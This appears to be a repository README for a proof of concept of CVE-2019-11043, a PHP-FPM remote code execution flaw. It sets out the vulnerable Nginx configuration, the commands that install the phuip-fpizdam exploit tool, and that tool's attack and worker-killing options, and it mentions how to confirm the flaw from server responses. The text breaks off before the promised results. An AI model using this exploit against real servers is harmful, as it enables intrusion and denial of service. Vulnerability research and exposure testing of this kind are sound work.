alewong/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-PHP-FPM Remote Code Execution Vulnerability (CVE-2019-11043) POC in Python
When Nginx processes requests containing %0a with fastcgi_split_path_info, it causes PATH_INFO to be empty due to the newline character \n. PHP-FPM has a logic flaw when handling an empty PATH_INFO. An attacker can craft a request to achieve remote code execution.
Servers running Nginx + php-fpm with the following configuration may be vulnerable to remote code execution:
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
}
go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam
➜ ~ cd ./go
➜ go go get github.com/neex/phuip-fpizdam
➜ go go install github.com/neex/phuip-fpizdam
➜ go ls
bin src
➜ go cd bin
➜ bin ls
phuip-fpizdam
➜ bin file phuip-fpizdam
phuip-fpizdam: Mach-O 64-bit executable x86_64
➜ bin ls -lah phuip-fpizdam
-rwxr-xr-x 1 alewong staff 9.3M 10 24 10:54 phuip-fpizdam
bin ./phuip-fpizdam
Error: accepts 1 arg(s), received 0
Usage:
phuip-fpizdam [url] [flags]
Flags:
--cookie string send this cookie
-h, --help help for phuip-fpizdam
--kill-count int how many times to send the worker killing payload (default 50)
--kill-workers just kill php-fpm workers (requires only QSL)
--method string detect method (see detect_methods.go) (default "session.auto_start")
--only-qsl stop after QSL detection, use this if you just want to check if the server is vulnerable
--pisos int pisos hint
--qsl int qsl hint
--reset-retries int how many retries to do for --reset-setting, -1 means a lot (default 50)
--reset-setting try to reset setting (requires attack params)
--setting string specify custom php.ini setting for --reset-setting
--skip-attack skip attack phase
--skip-detect skip detection phase
2019/10/24 10:56:18 accepts 1 arg(s), received 0
We can see the result returns 202, indicating success.
Script approach: When the QSL threshold reaches a certain value (e.g., 1800), the server returns a 502 error, which confirms the existence of the vulnerability.
Execution result:
Consistent with the Burp Suite result:
